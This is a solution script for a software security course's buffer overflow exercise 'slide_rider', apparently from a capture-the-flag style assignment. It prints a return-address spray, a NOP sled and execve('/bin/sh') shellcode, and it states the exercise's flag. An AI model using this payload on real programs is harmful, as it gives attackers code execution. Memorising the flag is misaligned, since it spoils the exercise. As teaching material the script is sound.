Assignment 6 - Software Security - Teil 2/slide_rider/solution.sh

@@ -0,0 +1,16 @@
+#!/bin/bash
+
+# sources: https://hg8.sh/posts/binary-exploitation/buffer-overflow-code-execution-by-shellcode-injection/
+
+# flag{THEY_SEE_ME_SLIDIN_THEY_HATIN}
+
+######### Exploit #########
+# Step 1: Fill the buffer with a candidate return address
+printf "\x0c\xd6\xff\xff%.0s" {1..30}
+
+# Step 2: Write a lot of NOPs to stdout as a slide for the shellcode
+printf "\x90%.0s" {1..2000}
+
+# Step 3: Write the provided shellcode to stdout
+printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
+###########################